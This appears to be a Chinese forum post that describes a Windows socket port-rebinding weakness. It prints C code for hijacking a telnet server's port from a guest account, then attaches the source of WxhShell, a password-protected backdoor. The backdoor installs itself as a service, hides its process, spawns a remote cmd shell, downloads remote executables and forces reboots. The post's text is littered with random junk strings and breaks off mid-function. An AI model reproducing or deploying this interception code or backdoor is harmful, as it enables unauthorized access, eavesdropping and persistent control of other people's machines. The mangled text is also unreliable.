在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
"p7nngn~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ZJ.an%4 !F.h+&^D; saddr.sin_family = AF_INET;
~]q>}/&YLo 72 |O&`O saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:q?#$? w
?*eBLJ(G bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
_54gqD2C,
kw
E2V+2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
aYDo0?kF' 2`TV(U@ 这意味着什么?意味着可以进行如下的攻击:
ex6R=97uA i;-M8Q^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
,Aai-AGG@ eLnS1w2 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
U7?v4O]D[ mEsb_3?#+ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
7ej u%d .Z
67 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
@XXPJq;J se`Eez} 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
J=t}9.H~= -Ep#q&\ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8-B7_GoJ+B KmTFJ,iM 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
f:ObI e6Y>Bk #include
IEMa/[n/ #include
oJ\g0|\qwe #include
&29jg_'W #include
{
]_j)R DWORD WINAPI ClientThread(LPVOID lpParam);
L*tfYonq int main()
w2'q9pB+ {
bXOKC WORD wVersionRequested;
dpw-a4o} DWORD ret;
66,(yxg WSADATA wsaData;
fg3Jv* BOOL val;
?VmgM"'md SOCKADDR_IN saddr;
oV0T
SOCKADDR_IN scaddr;
75zU,0"j int err;
V<J1.8H
SOCKET s;
[I3Nu8 SOCKET sc;
;=jF9mV. int caddsize;
V<W;[#" HANDLE mt;
o_BTo5] DWORD tid;
[Hx(a.,d wVersionRequested = MAKEWORD( 2, 2 );
]i$y;]f err = WSAStartup( wVersionRequested, &wsaData );
:sJ7Wok6~ if ( err != 0 ) {
C| ~A]wc= printf("error!WSAStartup failed!\n");
2cH RiRT return -1;
d\l{tmte }
rB$~,q&.V saddr.sin_family = AF_INET;
rZJJ\ , | e,/]]E/o //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
~TEn + .R)P
|@z L saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
m^}|LB:5 saddr.sin_port = htons(23);
Cl<!S` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
P:4"~]} {
M7cD!s@'I printf("error!socket failed!\n");
8qg%>ZU4d return -1;
C$TU
TS }
Sv{n?BYq val = TRUE;
:J]'c} //SO_REUSEADDR选项就是可以实现端口重绑定的
:5,~CtF5 ` if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
y>aO90wJ {
1>j,v+ printf("error!setsockopt failed!\n");
*k62Qz3 return -1;
u,So+% }
B_Q{B|eEt& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
)|xu5.F //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
4d5c]% //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
aC\f;&P> z&amYwQcI if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
6r<a {
Lz.khE< ret=GetLastError();
t.28IHJ printf("error!bind failed!\n");
WJhTU@' return -1;
mG&A_/e!9 }
W3tin3__
listen(s,2);
gHBv Q1g while(1)
1fS&KO{a {
KD &nLm! caddsize = sizeof(scaddr);
5MB`yRVv //接受连接请求
_w4G|j$C sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
P);s0Y|@H if(sc!=INVALID_SOCKET)
?f"5yQ-B {
TjTG+uQ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
>,{sFc if(mt==NULL)
Q^Cm3|ZO {
BqNeY<zB* printf("Thread Creat Failed!\n");
f47]gtB- break;
dgkS5Q$/ }
k56Qas+3= }
n?EgC8b9 CloseHandle(mt);
KUUA>'= }
K>$f#^ closesocket(s);
&<BBPn@\ WSACleanup();
4@ return 0;
(w hl1 }
-<s Gu9 DWORD WINAPI ClientThread(LPVOID lpParam)
^el+ej/= {
\N*([{X SOCKET ss = (SOCKET)lpParam;
9E2iZt] SOCKET sc;
~i5YqH0 unsigned char buf[4096];
6e+'Y"v SOCKADDR_IN saddr;
3Tl<ST\ long num;
>9&31wA_ DWORD val;
u[b |QR=5 DWORD ret;
e
Wux //如果是隐藏端口应用的话,可以在此处加一些判断
^~YT<cJ1h //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
wsWFD xR saddr.sin_family = AF_INET;
(?r,pAc: saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
SV>tw`2 saddr.sin_port = htons(23);
=9jK\ T^ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
A9MM^jV8 {
<giBL L! printf("error!socket failed!\n");
u1%URen[x return -1;
^9[Q;=R }
13X}pnW val = 100;
Food<(!.> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Y~I<L ocv {
D!rPF)K
) ret = GetLastError();
7&ED>Bk return -1;
bqcCA91 }
AEyvljv if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1|MRXK {
]y0Y ( ret = GetLastError();
}<04\t? return -1;
SndR:{ }
ODxZO3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
WTfjn|a {
xs{pGQ6Q printf("error!socket connect failed!\n");
f jx`|MJ closesocket(sc);
nqyD>> closesocket(ss);
,dIev< return -1;
xqG<R5k>> }
bE _8NA"2 while(1)
qiNVaV\wr| {
8>v_th //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
@sXv5kZ: //如果是嗅探内容的话,可以再此处进行内容分析和记录
Al-`}g+^ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
:>1nkm&Eg num = recv(ss,buf,4096,0);
FJ;I1~?? if(num>0)
YaC%69C' send(sc,buf,num,0);
FH~:&; else if(num==0)
4@PA+(kvS break;
Xqf,_I=V num = recv(sc,buf,4096,0);
N[e,){v if(num>0)
yaj dRU send(ss,buf,num,0);
>pv.,cj else if(num==0)
M13HD/~O break;
VzP az\e }
3kn-tM closesocket(ss);
[;u#79aE closesocket(sc);
MR#*/Iw~ return 0 ;
))"gWO }
3:+9H}Q %_OjmXOfe ^#Ii=K-[^ ==========================================================
I^y<W%Et UY',n, 下边附上一个代码,,WXhSHELL
^jL '*&l R
BYhU55B ==========================================================
|6E_N5~ o`bc/3! #include "stdafx.h"
2d&F<J<sU uZ+bo& #include <stdio.h>
IzP,)!EE #include <string.h>
Pyo|Sgk #include <windows.h>
b:dN )m #include <winsock2.h>
I!sT=w8V #include <winsvc.h>
&$MC!iMh #include <urlmon.h>
FZHA19Kb 4{P+p!4 #pragma comment (lib, "Ws2_32.lib")
-YA,Stc- #pragma comment (lib, "urlmon.lib")
/I%z7f91O n4K!Wv&u #define MAX_USER 100 // 最大客户端连接数
\Vyys[MMY8 #define BUF_SOCK 200 // sock buffer
l(t&<O(m9 #define KEY_BUFF 255 // 输入 buffer
~t6q-P 3!CUJs/W #define REBOOT 0 // 重启
I1Q!3P #define SHUTDOWN 1 // 关机
GcBqe=/B! <tr]bCu} #define DEF_PORT 5000 // 监听端口
;l$$!PJ ~YYnn7) #define REG_LEN 16 // 注册表键长度
Su#0F0 #define SVC_LEN 80 // NT服务名长度
!}&|a~U@`k %*
"+kwZ // 从dll定义API
>i/jqT/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
q/i2o[f'n typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
b($hp%+yJ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
|+#Zuq typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
I?e5h@uE y9:4n1fg // wxhshell配置信息
Tgdy;? struct WSCFG {
+jLy>=u int ws_port; // 监听端口
^b8~X [1J_ char ws_passstr[REG_LEN]; // 口令
y4^u&0}0$ int ws_autoins; // 安装标记, 1=yes 0=no
"=h1gql' char ws_regname[REG_LEN]; // 注册表键名
xcB\Y:
char ws_svcname[REG_LEN]; // 服务名
vSgT36ZF char ws_svcdisp[SVC_LEN]; // 服务显示名
P?0X az char ws_svcdesc[SVC_LEN]; // 服务描述信息
t<H"J__& char ws_passmsg[SVC_LEN]; // 密码输入提示信息
At Wv9 int ws_downexe; // 下载执行标记, 1=yes 0=no
Z
vysLHj char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
a|ufm^F char ws_filenam[SVC_LEN]; // 下载后保存的文件名
*6Wiq5M>. 1!#N-^qk };
`Q@7,z=f &LLU@ | // default Wxhshell configuration
&uq.k{<p\ struct WSCFG wscfg={DEF_PORT,
RTOA'|[0M "xuhuanlingzhe",
fLDrit4_Q 1,
":!$Jnj, "Wxhshell",
:#rP$LSYC "Wxhshell",
-&Rv=q> "WxhShell Service",
]M?i:A$B "Wrsky Windows CmdShell Service",
yM_/_V|G "Please Input Your Password: ",
A}9Z%U 1,
f}:C~L! "
http://www.wrsky.com/wxhshell.exe",
a'J0}j! "Wxhshell.exe"
+-izC%G };
`[/#,*\ <L}@p8Lq // 消息定义模块
?
wS}' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
)jM%bUk,! char *msg_ws_prompt="\n\r? for help\n\r#>";
8!_jZ f8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
gQnr. char *msg_ws_ext="\n\rExit.";
3jx%]S^z| char *msg_ws_end="\n\rQuit.";
pKSCC"i&j char *msg_ws_boot="\n\rReboot...";
u?^V4 +V char *msg_ws_poff="\n\rShutdown...";
oRV}Nz7hr char *msg_ws_down="\n\rSave to ";
Rh="<'d ]Ry9{: char *msg_ws_err="\n\rErr!";
NRRJlY
S char *msg_ws_ok="\n\rOK!";
PgBEe
@. '.A!IGsj char ExeFile[MAX_PATH];
vX+oZj
int nUser = 0;
DX_mrG HANDLE handles[MAX_USER];
e(c\ U}& int OsIsNt;
y{<e4{
! !<[+u SERVICE_STATUS serviceStatus;
Xoj"rR9| SERVICE_STATUS_HANDLE hServiceStatusHandle;
h]4xS?6O X~{6$J|]#i // 函数声明
jv)+qmqo! int Install(void);
bvox7V> int Uninstall(void);
74%vNKzc~ int DownloadFile(char *sURL, SOCKET wsh);
~1G^IZ6 int Boot(int flag);
ptCF))Zm' void HideProc(void);
egoR])2> int GetOsVer(void);
"{0G,tdA int Wxhshell(SOCKET wsl);
i
;FKnK void TalkWithClient(void *cs);
THrLX;I int CmdShell(SOCKET sock);
_"8n&=+ int StartFromService(void);
'E|%l!xO int StartWxhshell(LPSTR lpCmdLine);
E|O&bUMh :5YIoC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
]N>ZOV,> VOID WINAPI NTServiceHandler( DWORD fdwControl );
#:)'D?, sI>w#1.m/& // 数据结构和表定义
0seCQANd SERVICE_TABLE_ENTRY DispatchTable[] =
]*0zir/ {
bt}8ymcG {wscfg.ws_svcname, NTServiceMain},
4_#$k{ {NULL, NULL}
c`O~I<(Pm };
{oQs*`=l> 8}QM~&&. // 自我安装
v\xl?F int Install(void)
$>rt0LOF {
mGT('iTM4 char svExeFile[MAX_PATH];
Iiy5;:CX:q HKEY key;
9{Hs1MD[ strcpy(svExeFile,ExeFile);
zJDHDr )nm+_U // 如果是win9x系统,修改注册表设为自启动
4n,&,R r# if(!OsIsNt) {
K?.~}82c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
V)$!WPL@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C5 ~#lNC RegCloseKey(key);
a&s34Pd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
kWzp*<lWe RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~
'ZwD/!e RegCloseKey(key);
iI GK"} return 0;
*|rdR2R! }
F^dJ{<yX }
2BccE }
WK%cbFq( else {
=*UK!y?n ;dIk$_FN // 如果是NT以上系统,安装为系统服务
EC?5GNGT, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
/T _M't@j if (schSCManager!=0)
%i9S" {
;,{_=n> SC_HANDLE schService = CreateService
E$"NOR (
~j!n`#.\ schSCManager,
i"Jy>' wscfg.ws_svcname,
P\"kr?jZP wscfg.ws_svcdisp,
T?3Q<[SmI SERVICE_ALL_ACCESS,
J= A)]YE SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
cy%M$O|hX5 SERVICE_AUTO_START,
_}[
Du/c SERVICE_ERROR_NORMAL,
}?[];FB svExeFile,
6h9(u7(-N NULL,
]E9iaq6Z NULL,
|MNSIb&,W NULL,
. ,|C>^ NULL,
wNa5qp
0 NULL
=!TUf/O- );
L>Y+}]~ if (schService!=0)
?P9aXwc {
f)sy-o! CloseServiceHandle(schService);
.; MS78BR CloseServiceHandle(schSCManager);
1_Yx]%g< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
C4m+Ta% strcat(svExeFile,wscfg.ws_svcname);
r8:r}Qj2w[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
P(T-2Ux6 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Ca-"3aQkc RegCloseKey(key);
f2gtz{r return 0;
f 3UCELJ }
KhjC'CU, }
@IG's- CloseServiceHandle(schSCManager);
!)a_@d.;i }
)fJ"Hq }
8xy8/UBIk0 Z`TfS+O6 return 1;
1/$PxQ }
-2hirA<^ * +
T(i // 自我卸载
! ._q8q\ int Uninstall(void)
&}DfIP< {
:zL)O HKEY key;
,{*g
Q%7 2ZK]}&yC if(!OsIsNt) {
Ip8ml0oG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]J Yz(m[ RegDeleteValue(key,wscfg.ws_regname);
+C%6jGGh RegCloseKey(key);
q1ysT.{p, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)zL@h RegDeleteValue(key,wscfg.ws_regname);
Q<sqlh!h RegCloseKey(key);
J2O,wb)U return 0;
KjGu !B }
a_N7X }
Us`=^\ }
(?zg.y else {
yY VR]H H p]aEC+q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
.fWy\r0 if (schSCManager!=0)
f:-)S8OJ {
sH6;__e SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
A-Ba%Fv if (schService!=0)
:jTSOd[r {
jE0oLEg& if(DeleteService(schService)!=0) {
^Iw$( CloseServiceHandle(schService);
j\C6k CloseServiceHandle(schSCManager);
o\8?CNm1( return 0;
<+QdBp'd; }
\ eHOHHAGW CloseServiceHandle(schService);
xvl$,\iqE }
v ,")XPY CloseServiceHandle(schSCManager);
8maWF.xq }
UytMnJ88 }
:FAPH8] ,z&S;f.f return 1;
<rzP }
dN2JOyS }nrjA0WN // 从指定url下载文件
+&.zwniSS int DownloadFile(char *sURL, SOCKET wsh)
15ailA&(Qm {
fRS;6Jc HRESULT hr;
Cm[}DB char seps[]= "/";
e:O,$R#g char *token;
e)sR$]i:v char *file;
b
3x|Dq . char myURL[MAX_PATH];
^hLr9k char myFILE[MAX_PATH];
_LJF:E5L Sa g)}6+ strcpy(myURL,sURL);
W
)FxN, token=strtok(myURL,seps);
~qinCIj while(token!=NULL)
9c^ ,v_W@ {
~0MpB~ {xd file=token;
=E9\fRGU token=strtok(NULL,seps);
YTTyMn }
Tpl]\L1v-
0pE>O7 GetCurrentDirectory(MAX_PATH,myFILE);
@&\Y:aRO%i strcat(myFILE, "\\");
K<P d.: strcat(myFILE, file);
QFP9"FM5F send(wsh,myFILE,strlen(myFILE),0);
868X/lL send(wsh,"...",3,0);
8'PZA,CW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
fo ~uI(rk if(hr==S_OK)
C|ZPnm>f30 return 0;
G)amng/ else
wn"}<ka return 1;
"B QnP9 nCY kUDnZ }
Ty g>Xv b,'O|s]"Sc // 系统电源模块
01A{\O1$j int Boot(int flag)
R'Jrbe| {
kY)Vr3uGA HANDLE hToken;
JL6$7h TOKEN_PRIVILEGES tkp;
Z"8lW+r* $INB_/RE if(OsIsNt) {
(%6fMVp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
KlT:&1SB9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
`nF SJlr& tkp.PrivilegeCount = 1;
7ws<' d7/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
a{`hAI${ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
~HmH#"VP if(flag==REBOOT) {
h%/BZC^L]| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
*2h%dT:,% return 0;
G4(R/<J,BQ }
?Bf>G]zx else {
Yc[umn^K if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
`w!XO$"]Z return 0;
c5ij2X|I }
Y5aG^wE[: }
E0ED[d, else {
WE\TUENac( if(flag==REBOOT) {
I[?\Or if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Ll]5u~ return 0;
gkr9+ }
81Z;hO"~ else {
f"s_dR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
\]>YLyG return 0;
~e}JqJ(97 }
FJ3S
}
JX&U?Z WFF?VBT'^ return 1;
JV~
Dly> }
)Q1>j 2& <Z^by;d|z // win9x进程隐藏模块
|0[Buh[_:c void HideProc(void)
~$y"Ldrp {
AQ)gj$
m3 6=f)3!= HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Ksx-Y" if ( hKernel != NULL )
S>oEk3zlw {
k!Yc_ZB:*l pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
cC-8.2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
AlQhKL}|s FreeLibrary(hKernel);
mG1~rI }
C~2!@<y l|.}>SfL^u return;
UyRy>:n }
lsax.uG5x CzBYH // 获取操作系统版本
;+~5XLk int GetOsVer(void)
.`IhxE~mN {
Em!- W5*s OSVERSIONINFO winfo;
E&8Nh J winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
i)x0]XF GetVersionEx(&winfo);
ov+{<0Q
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
GxhE5f; return 1;
v6 5C
j2ec else
v.]{b8RR return 0;
k-ZO/yPo }
,-6Oma
- :|bL2T@>[ // 客户端句柄模块
vm@V5oH int Wxhshell(SOCKET wsl)
) ^En {
rD}g9?ut SOCKET wsh;
T
6D+@i struct sockaddr_in client;
boojq{cvYA DWORD myID;
3H,x4L5j `Abd=1nH while(nUser<MAX_USER)
LGhK)]: {
x'L=p01 int nSize=sizeof(client);
5len}){ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
)^(gwE if(wsh==INVALID_SOCKET) return 1;
/5sn*, KkUK" Vc handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
KPToyCyR1 if(handles[nUser]==0)
A}lxJ5h0 closesocket(wsh);
%mQ&pk else
as@8L|i* nUser++;
qxI$F }
?-j/X6(\( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
3S3 a|_+% +<Gp >c return 0;
:u7BCV|yr }
=K:[26 s",Ea* // 关闭 socket
Fn5BWV void CloseIt(SOCKET wsh)
z\eQB%aM {
l9\W=-' closesocket(wsh);
#]dm/WzY nUser--;
JL,Y9G*]s ExitThread(0);
b|_e):V| }
M+:5gMB' ddgDq0N1j // 客户端请求句柄
!SK`!/7c? void TalkWithClient(void *cs)
X2V+cre {
;y(;7n_ a 9JdJn> SOCKET wsh=(SOCKET)cs;
k[8F: T- char pwd[SVC_LEN];
{H/%2 char cmd[KEY_BUFF];
:|(YlNUv char chr[1];
)Ra:s> int i,j;
eQi^d/yi !\#Wq{p>W* while (nUser < MAX_USER) {
DCp8rvUI P6_Hz!vE if(wscfg.ws_passstr) {
8)S)!2_h if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^$'{:i //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
b"X1 //ZeroMemory(pwd,KEY_BUFF);
a]Pi2:S i=0;
%fg6',2 while(i<SVC_LEN) {
H@-q NjM +=/j+S` // 设置超时
wnC-~&+6 fd_set FdRead;
eZ:iW#YF struct timeval TimeOut;
/rpr_Xw} FD_ZERO(&FdRead);
^1 ){
@( FD_SET(wsh,&FdRead);
6
5zx< TimeOut.tv_sec=8;
hr]+4!/ TimeOut.tv_usec=0;
Vja 4WK* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
waMV6w)< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
i1x4$} *w;?&)8% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
S
}`f& pwd
=chr[0]; 4P#jMox
if(chr[0]==0xd || chr[0]==0xa) { >8/Otg+h
pwd=0; M.Q
HE2
break; v/
Ge+o0K
} <h#7;o
i++; HsYzIQLL
} |"K%Tvxe
Do(G;D`h+_
// 如果是非法用户,关闭 socket '|gsmO
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6Mk#) ebM
} ; s(bd#Q
sq=EL+=j
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b;
of9hY
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hx6ODj[-
]0'cdC
while(1) { s 4rva G@a
jUE:QOfRib
ZeroMemory(cmd,KEY_BUFF); >h8m8J
J,,VKA&
// 自动支持客户端 telnet标准 AO`@&e]o
j=0; XcNL\fl1
while(j<KEY_BUFF) { "<|KR{/+
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s YTJ^K d
cmd[j]=chr[0]; T%.Yso{
if(chr[0]==0xa || chr[0]==0xd) { DSHvBFQ
cmd[j]=0; ^GV'Y
break; =( ZOn=IL
} 346 z`5
j++; "yH?df24
} *Z"cXg^ti
274j7Y'
// 下载文件 9+y&&;p
if(strstr(cmd,"http://")) { ~ ?nn(Q-
send(wsh,msg_ws_down,strlen(msg_ws_down),0); V_
(Ly8"1;
if(DownloadFile(cmd,wsh)) r3x;lICx-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]+`K\G ^X
else TNh&g.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V^tD@N
} T x
Mh_
else { J8\l'}?&
f~l pa7
switch(cmd[0]) { ]?_~QE`
:V6
[_VaF
// 帮助 LS*L XC
case '?': { zq+2@"q
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nN$.^!;&
break; %H?B5y
} f'ld6jt|%
// 安装 *[cCY!+Qy
case 'i': { .4ww5k>
if(Install()) ;e_us!Sn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]4B;M Ym*
else hfJ&o7Dt
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9q0s
break; x]YzVJ =Y
} a
7v^o`
// 卸载 )}$rgYKJ
case 'r': { ;4-$C =&
if(Uninstall()) >#n"r1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zdem}kBIe
else @G]*]rkKb
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Rys:$
break; enxb
pq#
} gWjYS#D
// 显示 wxhshell 所在路径 Vc(kw7
case 'p': { FnVW%fh
char svExeFile[MAX_PATH]; B!<B7Q
strcpy(svExeFile,"\n\r"); |{|B70v3Co
strcat(svExeFile,ExeFile); R7b-/
!L
send(wsh,svExeFile,strlen(svExeFile),0); OE[7fDe'
break; 5X3JQ"z
} 7]So=%q
// 重启 LTBH/[q5
case 'b': { X)(K|[
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QpzdlB44l
if(Boot(REBOOT)) <gX({FA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A/9<} m
else { JkR%o
#>5
closesocket(wsh); noaR3)
ExitThread(0); MYV3</Xj*
} 1
39T*0C
break; k ]gPMhe
} p".wqg*W
// 关机 q%k&O9C2]
case 'd': { <x$nw'H9
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h('5x,G%
if(Boot(SHUTDOWN)) !m=Js"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GYy8kp84
else { 3,Z;J5VL4!
closesocket(wsh); ?.ObHV*k
ExitThread(0); x_8sV?F
} \aof
break; 3
u=\d)eq
} <% mD#S
// 获取shell 6;~V@t
case 's': { gs0jwI
CmdShell(wsh); 1Cc91
closesocket(wsh); /xSJljexz
ExitThread(0); {B#w9>'b
break; =MJRQV67
} k5%)
// 退出 S_*Gv O
case 'x': { rpEIDhHv
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F@z%y'5 Z*
CloseIt(wsh); [ZG>FJDl8
break; 3bd`q
$
} w&}<b%l
// 离开 vx6lud0k}
case 'q': { nIlx?(=pu
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~f[;(?39xZ
closesocket(wsh); DdISJWc'`5
WSACleanup(); TqS s*as5
exit(1); xIc||o$
break; DHjfd+E=s
} F W2x
} (!m6>m2
} < j
g<DXJ7o
// 提示信息 _H}hK kG+
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qa9@Q$
} hb0)<^xu
} k!z.6di
lV3k4i RH
return; s 7%iuP
} @D["#pe,}
EAr;
// shell模块句柄 Uv?^qe0=
int CmdShell(SOCKET sock) ~T9QpL1OJ
{ q|klsup
STARTUPINFO si; K)1Lg?j
ZeroMemory(&si,sizeof(si)); aox@- jyr
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TWRnty-C
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Wd+kjI \
PROCESS_INFORMATION ProcessInfo; WAuT`^"u
char cmdline[]="cmd"; c|'$3dB*
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GM8>u O
return 0; >'m&/&h
} 9 M?UPE
5D-as9k*
// 自身启动模式 q$H@W.f
int StartFromService(void) 2ZbSdaM=
{ :%28*fl
typedef struct jL)Y'
{ lpB:lRM
DWORD ExitStatus; GaJE(N
DWORD PebBaseAddress; VqD_FS;E
DWORD AffinityMask; f]sR4mhO
DWORD BasePriority; iz [IK%K
